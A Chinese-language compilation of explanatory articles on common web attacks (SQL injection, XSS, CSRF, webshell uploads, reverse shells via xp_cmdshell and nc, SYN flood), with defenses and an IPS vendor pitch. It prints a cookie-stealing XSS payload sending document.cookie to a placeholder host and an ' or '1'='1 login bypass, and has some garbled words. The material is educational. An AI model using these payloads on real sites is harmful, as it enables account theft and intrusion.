㈠ 针对web cookie的认证框架都有哪些攻击
为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡（注意该设置只在ie6.0中存在，其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮，进行简单调整），调整Cookie的安全级别。通常情况，可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息，如果你从来不去这些地方，可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie，可以单击“编辑”按钮，将要屏蔽的网站添加到列表中。在“高级”按钮选项中，你可以对第一方Cookie和第三方的Cookie进行设置，第一方Cookie是你正在浏览的网站的Cookie，第三方Cookie非正在浏览的网站发给你的Cookie，通常要对第三方Cookie选择“拒绝”。你如果需要保存Cookie，可以使用IE的“导入导出”功能，打开“文件/导入导出”，按提示操作即可。
㈡ WEB服务器常见的攻击方法及危害
针对Web服务器的常见八种攻击方式
1、sql注入漏洞的入侵
这种是ASP+ACCESS的网站入侵方式，通过注入点列出数据库里面管理员的帐号和密码信息，然后猜解出网站的后台地址，然后用帐号和密码登录进去找到文件上传的地方，把ASP木马上传上去，获得一个网站的WEBSHELL。
2、ASP上传漏洞的利用
这种技术方式是利用一些网站的ASP上传功能来上传ASP木马的一种入侵方式，不少网站都限制了上传文件的类型，一般来说ASP为后缀的文件都不允许上传，但是这种限制是可以被黑客突破的，黑客可以采取COOKIE欺骗的方式来上传ASP木马，获得网站的WEBSHELL权限。
3、后台数据库备份方式获得WEBSHELL
这个主要是利用网站后台对ACCESS数据库进行数据库备份和恢复的功能，备份数据库路径等变量没有过滤导致可以把任何文件的后缀改成ASP，那么利用网站上传的功能上传一个文件名改成JPG或者GIF后缀的ASP木马，然后用这个恢复库备份和恢复的功能把这个木马恢复成ASP文件，从而达到能够获取网站WEBSHELL控制权限的目的。
4、 网站旁注入侵
这种技术是通过IP绑定域名查询的功能查出服务器上有多少网站，然后通过一些薄弱的网站实施入侵，拿到权限之后转而控制服务器的其它网站。
5、sa注入点利用的入侵技术
这种是ASP+MSSQL网站的入侵方式，找到有SA权限的SQL注入点，然后用SQL数据库的XP_CMDSHELL的存储扩展来运行系统命令建立系统级别的帐号，然后通过3389登录进去，或者在一台肉鸡上用NC开设一个监听端口，然后用VBS一句话木马下载一个NC到服务器里面，接着运行NC的反向连接命令，让服务器反向连接到远程肉鸡上，这样远程肉鸡就有了一个远程的系统管理员级别的控制权限。
6、sa弱密码的入侵技术
这种方式是用扫描器探测SQL的帐号和密码信息的方式拿到SA的密码，然后用SQLEXEC之类的工具通过1433端口连接到远程服务器上，然后开设系统帐号，通过3389登录。然后这种入侵方式还可以配合WEBSHELL来使用，一般的ASP+MSSQL网站通常会把MSSQL的连接密码写到一个配置文件当中，这个可以用WEBSHELL来读取配置文件里面的SA密码，然后可以上传一个SQL木马的方式来获取系统的控制权限。
7、提交一句话木马的入侵方式
这种技术方式是对一些数据库地址被改成asp文件的网站来实施入侵的。黑客通过网站的留言版，论坛系统等功能提交一句话木马到数据库里面，然后在木马客户端里面输入这个网站的数据库地址并提交，就可以把一个ASP木马写入到网站里面，获取网站的WEBSHELL权限。
8、 论坛漏洞利用入侵方式
这种技术是利用一些论坛存在的安全漏洞来上传ASP木马获得WEBSHELL权限，最典型的就是，动网6.0版本，7.0版本都存在安全漏洞，拿7.0版本来说，注册一个正常的用户，然后用抓包工具抓取用户提交一个ASP文件的COOKIE，然后用明小子之类的软件采取COOKIE欺骗的上传方式就可以上传一个ASP木马，获得网站的WEBSHELL。
㈢ 攻击WEB应用服务器有几种方式
当然，我们对安全问题越来越重视，影响安全的因素有很多。如，病毒、间谍软件、漏洞等。而恶意软件由来已久，远远超出了我们的记忆。特别是在当今，特洛伊木马等恶意代码日益横行，这种趋势好像并没有减缓的迹象。不过，恶意软件问题比起攻击者通过利用脆弱的应用程序服务器窃取大量的关键信息来说，显得还是相形见绌。
南昌网站建设
带你了解对WEB应用服务器的三种攻击:
Blind SQL 注入式攻击
Blind SQL注入式攻击是发动攻击的另一个方法，但却是另一种略有不同的方法。在执行一次标准的SQL注入式攻击时，攻击者将一个SQL查询插入到一个WEB应用程序中，期望使服务器返回一个错误消息。这种错误消息能够使攻击者获得用于执行更精确的攻击所需要的信息。这会致使数据库管理员相信只要消除这种错误的消息就会解决引起SQL注入式攻击的潜在的问题。管理员可能不会认识到虽然这样会隐藏错误消息，这种脆弱性仍然存在。这样会为攻击者增加点儿困难，却不能阻止攻击者使用错误消息收集信息，攻击者会不断地将伪造的SQL查询发送给服务器，以期获得对数据库的访问。
SQL 注入式攻击
SQL注入式攻击如今日益成为互联网上窃取机密信息的受欢迎的途径。一次SQL注入式攻击都包含这样一种方法：攻击者在一个WEB表单的搜索字段中输入一个SQL查询，如果这个查询被WEB应用程序接受，就会被传递到后端的数据库服务器来执行它，当然这要建立在从WEB应用程序到数据库服务器的读/写访问操作被准许的前提下。这可以导致两种情况发生，一是攻击者可以查看数据库的内容，二是攻击者删除数据库的内容。无论哪一种情况发生，对用户来说都意味着灾难。
很多人可能认为，SQL注入式攻击需要高深的知识。其实恰恰相反，实质上，任何人，只要对SQL有一个基本的理解并拥有一定的查询程序（这种程序在互联网上比比皆是），这种攻击就可以实施。
跨站点脚本攻击
跨站点的脚本攻击，也可称为XSS或CSS，是黑客损害那些提供动态网页的WEB应用的一种技术。当今的许多WEB站点都提供动态的页面，这些页面由为用户动态建造的多个源站点的信息组成。如果WEB站点管理员不注意这个问题，恶意内容能够插入到Web页面中，以收集机密信息或简单地用户端系统上执行。对抗手段
有许多对抗Web应用服务器攻击的对策和措施。对问题的清醒的认识无疑是最重要的。许多企业组织正专注于一些需要执行的预防性的措施，不过却不知晓这些攻击是如何执行的。如果不理解WEB应用服务器攻击是如何工作的，将会使对抗措施不能真正起作用，简单地依靠防火墙和入侵防御系统不能从根本上解决问题。例如，如果你的WEB应用服务器没有对用户输入进行过滤，你就很容易遭受上述类型的攻击。
领先于攻击者的另一个关键问题是定期对你的WEB应用进行彻底的检查。在技术领域，亡羊补牢，未为晚也可能不太适用，因为如果你不及时检查修补你的墙，你丢失的将不仅仅是羊，很有可能是你的整个羊圈甚至更多。
㈣ web安全攻击方式都有些什么
非法输入 Unvalidated Input
在数据被输入程序前忽略对数据合法性的检验是一个常见的编程漏洞。随着OWASP对Web应用程序脆弱性的调查，非法输入的问题已成为大多数Web应用程序安全漏洞方面的一个普遍现象。
失效的访问控制Broken Access Control
大部分企业都非常关注对已经建立的连接进行控制，但是，允许一个特定的字符串输入可以让攻击行为绕过企业的控制。
失效的账户和线程管理Broken Authentication and Session Management
有良好的访问控制并不意味着万事大吉，企业还应该保护用户的密码、会话令牌、账户列表及其它任何可为攻击者提供有利信息、能帮助他们攻击企业网络的内容。
跨站点脚本攻击Cross Site Scripting Flaws
这是一种常见的攻击，当攻击脚本被嵌入企业的Web页面或其它可以访问的Web资源中，没有保护能力的台式机访问这个页面或资源时，脚本就会被启动，这种攻击可以影响企业内成百上千员工的终端电脑。
缓存溢出问题Buffer Overflows
这个问题一般出现在用较早的编程语言、如C语言编写的程序中，这种编程错误其实也是由于没有很好地确定输入内容在内存中的位置所致。
注入式攻击Injection Flaws
如果没有成功地阻止带有语法含义的输入内容，有可能导致对数据库信息的非法访问，在Web表单中输入的内容应该保持简单，并且不应包含可被执行的代码。
异常错误处理Improper Error Handling
当错误发生时，向用户提交错误提示是很正常的事情，但是如果提交的错误提示中包含了太多的内容，就有可能会被攻击者分析出网络环境的结构或配置。
不安全的存储Insecure Storage
对于Web应用程序来说，妥善保存密码、用户名及其他与身份验证有关的信息是非常重要的工作，对这些信息进行加密则是非常有效的方式，但是一些企业会采用那些未经实践验证的加密解决方案，其中就可能存在安全漏洞。
程序拒绝服务攻击Application Denial of Service
与拒绝服务攻击 (DoS)类似，应用程序的DoS攻击会利用大量非法用户抢占应用程序资源，导致合法用户无法使用该Web应用程序。
不安全的配置管理Insecure Configuration Management
有效的配置管理过程可以为Web应用程序和企业的网络架构提供良好的保护
㈤ web漏洞攻击有哪些
一、SQL注入漏洞
SQL注入攻击（SQL Injection），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
通常情况下，SQL注入的位置包括：
（1）表单提交，主要是POST请求，也包括GET请求；
（2）URL参数提交，主要为GET请求参数；
（3）Cookie参数提交；
（4）HTTP请求头部的一些可修改的值，比如Referer、User_Agent等；
（5）一些边缘的输入点，比如.mp3文件的一些文件信息等。
常见的防范方法
（1）所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口，使用此接口可以非常有效的防止SQL注入攻击。
（2）对进入数据库的特殊字符（’”<>&*;等）进行转义处理，或编码转换。
（3）确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为int型。
（4）数据长度应该严格规定，能在一定程度上防止比较长的SQL注入语句无法正确执行。
（5）网站每个数据层的编码统一，建议全部使用UTF-8编码，上下层编码不一致有可能导致一些过滤模型被绕过。
（6）严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。
（7）避免网站显示SQL错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。
（8）在网站发布之前建议使用一些专业的SQL注入检测工具进行检测，及时修补这些SQL注入漏洞。
二、跨站脚本漏洞
跨站脚本攻击（Cross-site scripting，通常简称为XSS）发生在客户端，可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。
XSS攻击使用到的技术主要为HTML和Javascript，也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害，但是它借助网站进行传播，使网站的使用用户受到攻击，导致网站用户帐号被窃取，从而对网站也产生了较严重的危害。
XSS类型包括：
（1）非持久型跨站：即反射型跨站脚本漏洞，是目前最普遍的跨站类型。跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码不存储到服务端（比如数据库中）。上面章节所举的例子就是这类情况。
（2）持久型跨站：这是危害最直接的跨站类型，跨站代码存储于服务端（比如数据库中）。常见情况是某用户在论坛发贴，如果论坛没有过滤用户输入的Javascript代码数据，就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。
（3）DOM跨站（DOM XSS）：是一种发生在客户端DOM（Document Object Model文档对象模型）中的跨站漏洞，很大原因是因为客户端脚本处理逻辑导致的安全问题。
常用的防止XSS技术包括：
（1）与SQL注入防护的建议一样，假定所有输入都是可疑的，必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口，也包括HTTP请求中的Cookie中的变量，HTTP请求头部中的变量等。
（2）不仅要验证数据的类型，还要验证其格式、长度、范围和内容。
（3）不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
（4）对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。
（5）在发布应用程序之前测试所有已知的威胁。
三、弱口令漏洞
弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则：
（1）不使用空口令或系统缺省的口令，这些口令众所周之，为典型的弱口令。
（2）口令长度不小于8个字符。
（3）口令不应该为连续的某个字符（例如：AAAAAAAA）或重复某些字符的组合（例如：tzf.tzf.）。
（4）口令应该为以下四类字符的组合，大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个，那么该字符不应为首字符或尾字符。
（5）口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息，以及字典中的单词。
（6）口令不应该为用数字或符号代替某些字母的单词。
（7）口令应该易记且可以快速输入，防止他人从你身后很容易看到你的输入。
（8）至少90天内更换一次口令，防止未被发现的入侵者继续使用该口令。
四、HTTP报头追踪漏洞
HTTP/1.1（RFC2616）规范定义了HTTP TRACE方法，主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE请求可以通过客户浏览器脚本发起（如XMLHttpRequest），并可以通过DOM接口来访问，因此很容易被攻击者利用。
防御HTTP报头追踪漏洞的方法通常禁用HTTP TRACE方法。
五、Struts2远程命令执行漏洞
ApacheStruts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误，如果遇到转换错误可被利用注入和执行任意Java代码。
网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架，由于该软件存在远程代码执高危漏洞，导致网站面临安全风险。CNVD处置过诸多此类漏洞，例如：“GPS车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934)；Aspcms留言本远程代码执行漏洞（CNVD-2012-11590）等。
修复此类漏洞，只需到Apache官网升级Apache Struts到最新版本：http://struts.apache.org
六、文件上传漏洞
文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过 Web 访问的目录上传任意文件，包括网站后门文件（webshell），进而远程控制网站服务器。
因此，在开发网站及应用程序过程中，需严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell攻击。
七、私有IP地址泄露漏洞
IP地址是网络用户的重要标示，是攻击者进行攻击前需要了解的。获取的方法较多，攻击者也会因不同的网络情况采取不同的方法，如：在局域网内使用Ping指令，Ping对方在网络中的名称而获得IP；在Internet上使用IP版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP包头信息，再根据这些信息了解具体的IP。
针对最有效的“数据包分析方法”而言，就可以安装能够自动去掉发送数据包包头IP信息的一些软件。不过使用这些软件有些缺点，譬如：耗费资源严重，降低计算机性能；访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP的方法应该是使用代理，由于使用代理服务器后，“转址服务”会对发送出去的数据包有所修改，致使“数据包分析”的方法失效。一些容易泄漏用户IP的网络软件(QQ、MSN、IE等)都支持使用代理方式连接Internet，特别是QQ使用“ezProxy”等代理软件连接后，IP版的QQ都无法显示该IP地址。虽然代理可以有效地隐藏用户IP，但攻击者亦可以绕过代理，查找到对方的真实IP地址，用户在何种情况下使用何种方法隐藏IP，也要因情况而论。
八、未加密登录请求
由于Web配置不安全，登陆请求把诸如用户名和密码等敏感字段未加密进行传输，攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH等的加密后再传输。
九、敏感信息泄露漏洞
SQL注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露，攻击者可以通过漏洞获得敏感信息。针对不同成因，防御方式不同
十、CSRF
http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
Web应用是指采用B/S架构、通过HTTP/HTTPS协议提供服务的统称。随着互联网的广泛使用，Web应用已经融入到日常生活中的各个方面：网上购物、网络银行应用、证券股票交易、政府行政审批等等。在这些Web访问中，大多数应用不是静态的网页浏览，而是涉及到服务器侧的动态处理。此时，如果Java、PHP、ASP等程序语言的编程人员的安全意识不足，对程序参数输入等检查不严格等，会导致Web应用安全问题层出不穷。
本文根据当前Web应用的安全情况，列举了Web应用程序常见的攻击原理及危害，并给出如何避免遭受Web攻击的建议。
Web应用漏洞原理
Web应用攻击是攻击者通过浏览器或攻击工具，在URL或者其它输入区域（如表单等），向Web服务器发送特殊请求，从中发现Web应用程序存在的漏洞，从而进一步操纵和控制网站，查看、修改未授权的信息。
1.1 Web应用的漏洞分类
1、信息泄露漏洞
信息泄露漏洞是由于Web服务器或应用程序没有正确处理一些特殊请求，泄露Web服务器的一些敏感信息，如用户名、密码、源代码、服务器信息、配置信息等。
造成信息泄露主要有以下三种原因：
–Web服务器配置存在问题，导致一些系统文件或者配置文件暴露在互联网中；
–Web服务器本身存在漏洞，在浏览器中输入一些特殊的字符，可以访问未授权的文件或者动态脚本文件源码；
–Web网站的程序编写存在问题，对用户提交请求没有进行适当的过滤，直接使用用户提交上来的数据。
2、目录遍历漏洞
目录遍历漏洞是攻击者向Web服务器发送请求，通过在URL中或在有特殊意义的目录中附加“../”、或者附加“../”的一些变形（如“..\”或“..//”甚至其编码），导致攻击者能够访问未授权的目录，以及在Web服务器的根目录以外执行命令。
3、命令执行漏洞
命令执行漏洞是通过URL发起请求，在Web服务器端执行未授权的命令，获取系统信息，篡改系统配置，控制整个系统，使系统瘫痪等。
命令执行漏洞主要有两种情况：
–通过目录遍历漏洞，访问系统文件夹，执行指定的系统命令；
–攻击者提交特殊的字符或者命令，Web程序没有进行检测或者绕过Web应用程序过滤，把用户提交的请求作为指令进行解析，导致执行任意命令。
4、文件包含漏洞
文件包含漏洞是由攻击者向Web服务器发送请求时，在URL添加非法参数，Web服务器端程序变量过滤不严，把非法的文件名作为参数处理。这些非法的文件名可以是服务器本地的某个文件，也可以是远端的某个恶意文件。由于这种漏洞是由PHP变量过滤不严导致的，所以只有基于PHP开发的Web应用程序才有可能存在文件包含漏洞。
5、SQL注入漏洞
SQL注入漏洞是由于Web应用程序没有对用户输入数据的合法性进行判断，攻击者通过Web页面的输入区域(如URL、表单等) ，用精心构造的SQL语句插入特殊字符和指令，通过和数据库交互获得私密信息或者篡改数据库信息。SQL注入攻击在Web攻击中非常流行，攻击者可以利用SQL注入漏洞获得管理员权限，在网页上加挂木马和各种恶意程序，盗取企业和用户敏感信息。
6、跨站脚本漏洞
跨站脚本漏洞是因为Web应用程序时没有对用户提交的语句和变量进行过滤或限制，攻击者通过Web页面的输入区域向数据库或HTML页面中提交恶意代码，当用户打开有恶意代码的链接或页面时，恶意代码通过浏览器自动执行，从而达到攻击的目的。跨站脚本漏洞危害很大，尤其是目前被广泛使用的网络银行，通过跨站脚本漏洞攻击者可以冒充受害者访问用户重要账户，盗窃企业重要信息。
根据前期各个漏洞研究机构的调查显示，SQL注入漏洞和跨站脚本漏洞的普遍程度排名前两位，造成的危害也更加巨大。
1.2 SQL注入攻击原理
SQL注入攻击是通过构造巧妙的SQL语句，同网页提交的内容结合起来进行注入攻击。比较常用的手段有使用注释符号、恒等式（如1＝1）、使用union语句进行联合查询、使用insert或update语句插入或修改数据等，此外还可以利用一些内置函数辅助攻击。
通过SQL注入漏洞攻击网站的步骤一般如下：
第一步：探测网站是否存在SQL注入漏洞。
第二步：探测后台数据库的类型。
第三步：根据后台数据库的类型，探测系统表的信息。
第四步：探测存在的表信息。
第五步：探测表中存在的列信息。
第六步：探测表中的数据信息。
1.3 跨站脚本攻击原理
跨站脚本攻击的目的是盗走客户端敏感信息,冒充受害者访问用户的重要账户。跨站脚本攻击主要有以下三种形式：
1、本地跨站脚本攻击
B给A发送一个恶意构造的Web URL，A点击查看了这个URL，并将该页面保存到本地硬盘（或B构造的网页中存在这样的功能）。A在本地运行该网页，网页中嵌入的恶意脚本可以A电脑上执行A持有的权限下的所有命令。
2、反射跨站脚本攻击
A经常浏览某个网站，此网站为B所拥有。A使用用户名/密码登录B网站，B网站存储下A的敏感信息（如银行帐户信息等）。C发现B的站点包含反射跨站脚本漏洞，编写一个利用漏洞的URL，域名为B网站，在URL后面嵌入了恶意脚本（如获取A的cookie文件），并通过邮件或社会工程学等方式欺骗A访问存在恶意的URL。当A使用C提供的URL访问B网站时，由于B网站存在反射跨站脚本漏洞，嵌入到URL中的恶意脚本通过Web服务器返回给A，并在A浏览器中执行，A的敏感信息在完全不知情的情况下将发送给了C。
3、持久跨站脚本攻击
B拥有一个Web站点，该站点允许用户发布和浏览已发布的信息。C注意到B的站点具有持久跨站脚本漏洞，C发布一个热点信息，吸引用户阅读。A一旦浏览该信息，其会话cookies或者其它信息将被C盗走。持久性跨站脚本攻击一般出现在论坛、留言簿等网页，攻击者通过留言，将攻击数据写入服务器数据库中，浏览该留言的用户的信息都会被泄漏。
Web应用漏洞的防御实现
对于以上常见的Web应用漏洞漏洞，可以从如下几个方面入手进行防御：
1)对 Web应用开发者而言
大部分Web应用常见漏洞，都是在Web应用开发中，开发者没有对用户输入的参数进行检测或者检测不严格造成的。所以，Web应用开发者应该树立很强的安全意识，开发中编写安全代码；对用户提交的URL、查询关键字、HTTP头、POST数据等进行严格的检测和限制，只接受一定长度范围内、采用适当格式及编码的字符，阻塞、过滤或者忽略其它的任何字符。通过编写安全的Web应用代码，可以消除绝大部分的Web应用安全问题。
2) 对Web网站管理员而言
作为负责网站日常维护管理工作Web管理员，应该及时跟踪并安装最新的、支撑Web网站运行的各种软件的安全补丁，确保攻击者无法通过软件漏洞对网站进行攻击。
除了软件本身的漏洞外，Web服务器、数据库等不正确的配置也可能导致Web应用安全问题。Web网站管理员应该对网站各种软件配置进行仔细检测，降低安全问题的出现可能。
此外，Web管理员还应该定期审计Web服务器日志，检测是否存在异常访问，及早发现潜在的安全问题。
3）使用网络防攻击设备
前两种为事前预防方式，是比较理想化的情况。然而在现实中，Web应用系统的漏洞还是不可避免的存在：部分Web网站已经存在大量的安全漏洞，而Web开发者和网站管理员并没有意识到或发现这些安全漏洞。由于Web应用是采用HTTP协议，普通的防火墙设备无法对Web类攻击进行防御，因此可以使用IPS入侵防御设备来实现安全防护。
H3C IPS Web攻击防御
H3C IPS入侵防御设备有一套完整的Web攻击防御框架，能够及时发现各种已经暴露的和潜在的Web攻击。下图为对于Web攻击的总体防御框架。
图1：Web攻击防御框架，参见：http://blog.csdn.net/moshenglv/article/details/53439579
H3C IPS采用基于特征识别的方式识别并阻断各种攻击。IPS设备有一个完整的特征库，并可定期以手工与自动的方式对特征库进行升级。当网络流量进入IPS后，IPS首先对报文进行预处理，检测报文是否正确，即满足协议定义要求，没有错误字段；如果报文正确，则进入深度检测引擎。该引擎是IPS检测的核心模块，对通过IPS设备的Web流量进行深层次的分析，并与IPS攻击库中的特征进行匹配，检测Web流量是否存在异常；如果发现流量匹配了攻击特征，IPS则阻断网络流量并上报日志；否则，网络流量顺利通过。
此Web攻击防御框架有如下几个特点：
1) 构造完整的Web攻击检测模型，准确识别各种Web攻击
针对Web攻击的特点，考虑到各种Web攻击的原理和形态，在不同漏洞模型之上开发出通用的、层次化的Web攻击检测模型，并融合到特征库中。这些模型抽象出Web攻击的一般形态，对主流的攻击能够准确识别，使得模型通用化。
2) 检测方式灵活，可以准确识别变形的Web攻击
在实际攻击中，攻击者为了逃避防攻击设备的检测，经常对Web攻击进行变形，如采用URL编码技术、修改参数等。H3C根据Web应用漏洞发生的原理、攻击方式和攻击目标，对攻击特征进行了扩展。即使攻击者修改攻击参数、格式、语句等内容，相同漏洞原理下各种变形的攻击同样能够被有效阻断。这使得IPS的防御范围扩大，防御的灵活性也显着增强，极大的减少了漏报情况的出现。
3) 确保对最新漏洞及技术的跟踪，有效阻止最新的攻击
随着Web攻击出现的频率日益增高，其危害有逐步扩展的趋势。这对IPS设备在防御的深度和广度上提出了更高的要求，不仅要能够防御已有的Web攻击，更要有效的阻止最新出现的、未公布的攻击。目前，H3C已经建立起一套完整的攻防试验环境，可以及时发现潜在Web安全漏洞。同时还在继续跟踪最新的Web攻击技术和工具，及时更新Web攻击的特征库，第一时间发布最新的Web漏洞应对措施，确保用户的网络不受到攻击。
4) 保证正常业务的高效运行
检测引擎是IPS整个设备运行的关键，该引擎使用了高效、准确的检测算法，对通过设备的流量进行深层次的分析，并通过和攻击特征进行匹配，检测流量是否存在异常。如果流量没有匹配到攻击特征，则允许流量通过，不会妨碍正常的网络业务，在准确防御的同时保证了正常业务的高效运行。
结束语
互联网和Web技术广泛使用，使Web应用安全所面临的挑战日益严峻，Web系统时时刻刻都在遭受各种攻击的威胁，在这种情况下，需要制定一个完整的Web攻击防御解决方案，通过安全的Web应用程序、Web服务器软件、Web防攻击设备共同配合，确保整个网站的安全。任何一个简单的漏洞、疏忽都会造成整个网站受到攻击，造成巨大损失。此外 ，Web攻击防御是一个长期持续的工作，随着Web技术的发展和更新，Web攻击手段也不断发展，针对这些最新的安全威胁，需要及时调整Web安全防护策略，确保Web攻击防御的主动性，使Web网站在一个安全的环境中为企业和客户服务。
原文链接：
㈥ Web应用常见的安全漏洞有哪些
Web应用常见的安全漏洞：
1、SQL注入
注入是一个安全漏洞，允许攻击者通过操纵用户提供的数据来更改后端SQL语句。当用户输入作为命令或查询的一部分被发送到解释器并且欺骗解释器执行非预期的命令并且允许访问未授权的数据时，发生注入。
2、跨站脚本攻击 （XSS）
XSS漏洞针对嵌入在客户端（即用户浏览器而不是服务器端）的页面中嵌入的脚本。当应用程序获取不受信任的数据并将其发送到Web浏览器而未经适当验证时，可能会出现这些缺陷。
3、跨站点请求伪造
CSRF攻击是指恶意网站，电子邮件或程序导致用户的浏览器在用户当前已对其进行身份验证的受信任站点上执行不需要的操作时发生的攻击。
4、无法限制URL访问
Web应用程序在呈现受保护的链接和按钮之前检查URL访问权限 每次访问这些页面时，应用程序都需要执行类似的访问控制检查。通过智能猜测，攻击者可以访问权限页面。攻击者可以访问敏感页面，调用函数和查看机密信息。
5、不安全的加密存储
不安全的加密存储是一种常见的漏洞，在敏感数据未安全存储时存在。用户凭据，配置文件信息，健康详细信息，信用卡信息等属于网站上的敏感数据信息。
(6)web攻击图解扩展阅读
web应用漏洞发生的市场背景：
由于Web服务器提供了几种不同的方式将请求转发给应用服务器，并将修改过的或新的网页发回给最终用户，这使得非法闯入网络变得更加容易。
许多程序员不知道如何开发安全的应用程序。他们的经验也许是开发独立应用程序或Intranet Web应用程序，这些应用程序没有考虑到在安全缺陷被利用时可能会出现灾难性后果。
许多Web应用程序容易受到通过服务器、应用程序和内部已开发的代码进行的攻击。这些攻击行动直接通过了周边防火墙安全措施，因为端口80或443（SSL，安全套接字协议层）必须开放，以便让应用程序正常运行。
㈦ 常见的几种web攻击方式及原理
一、Dos攻击（Denial of Service attack）
是一种针对服务器的能够让服务器呈现静止状态的攻击方式。有时候也加服务停止攻击或拒绝服务攻击。其原理就是发送大量的合法请求到服务器，服务器无法分辨这些请求是正常请求还是攻击请求，所以都会照单全收。海量的请求会造成服务器停止工作或拒绝服务的状态。这就是Dos攻击。
二、跨站点请求伪造（CSRF，Cross-Site Request Forgeries）
是指攻击者通过已经设置好的陷阱，强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态的更新。属于被动攻击。更简单的理解就是攻击者盗用了你的名义，以你的名义发送了请求。
一个CSRF最简单的例子就是用户A登录了网站A在虚拟账户里转账了1000块钱，用户A在本地生成了网站A的cookie，用户A在没有关闭网站A的情况下有访问了恶意网站B，恶意网站B包含请求A网站的代码，利用了本地的cookie经过身份验证的身份又向网站A发送了一次请求，这时你就会发现你在网站A的账户又少了1000块。这就是基本的CSRF攻击方式。
三、SOL注入攻击
是指通过对web连接的数据库发送恶意的SQL语句而产生的攻击，从而产生安全隐患和对网站的威胁，可以造成逃过验证或者私密信息泄露等危害。
SQL注入的原理是通过在对SQL语句调用方式上的疏漏，恶意注入SQL语句。
㈧ web常见的攻击方式有哪些，如何避免。
原理：1.登录受信任网站A，并在本地生成Cookie。
2.在不登出A的情况下，访问危险网站B,引诱点击链接，实或庆际上是调用A网站的链接，或者是接口地址，利用A的cookie未失效。
触发条件：A网站存在漏洞，用户在A网站登录过且cookie未失效
预防：token认证，访问网站，登录成功后，服务器生成token，存放在cookie里，session，或者本地，在访问接口的时候要求把token带上，到服务器端在验证（token最好是随机的，不可预测的）
referer认证，页面来源（在hearder里），服务器判断是否是本站点下的页面，如果不是直接拦截。
XSS：跨站脚本攻击，不需要登录，向网站注入脚本（盗用cookie，改变页面的dom结构，重定向链接）。
博客网站，攻击者在上面发了一篇文章，内容是<script>window.open(“www.xxx.com?param=”+document.cookie)</script>浏览器运行非法的html 标签/Javascript,用户下次访问就会把cookie发送到攻击者的服务器上。
预防：将输入的数据进行转义处理，比如说讲 < 转义成<
SQL注入：sql语句伪造参数，
最常见的就是：' or '1'= '1。这是最常见的sql注入攻击，当我们输如用户名 jiajun ，然后密码输如'or '1'= '1的时候，我们在查询用户名和密码是否正确的时候，本来要执行的是select * from user where username='' and password='',经过参数拼接后，会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 '，这个时候1=1是成立，自然就跳过验证了。
预防：接口可以对采纳数进行转义，密码什么的敏感信息要加密
SYN Flood ,简单说一下tcp三次握手，客户端先服务器发出请求，请求建立连接，然后服务器返回冲渗一个报文，表明请求以被接受，然后客户端也会返回一个报文，最后建立连接。那么如果有这么一种情况，攻击者伪造ip地址，发出报文给服务器请求连接，这个时候服务器接受到了，根据tcp三次握手的规则，散团脊服务器也要回应一个报文，可是这个ip是伪造的，报文回应给谁呢，第二次握手出现错误，第三次自然也就不能顺利进行了，这个时候服务器收不到第三次握手时客户端发出的报文，又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求，这个时候服务器将维护一个非常大的半连接等待列表，占用了大量的资源，最后服务器瘫痪。
预防：增加服务器带宽。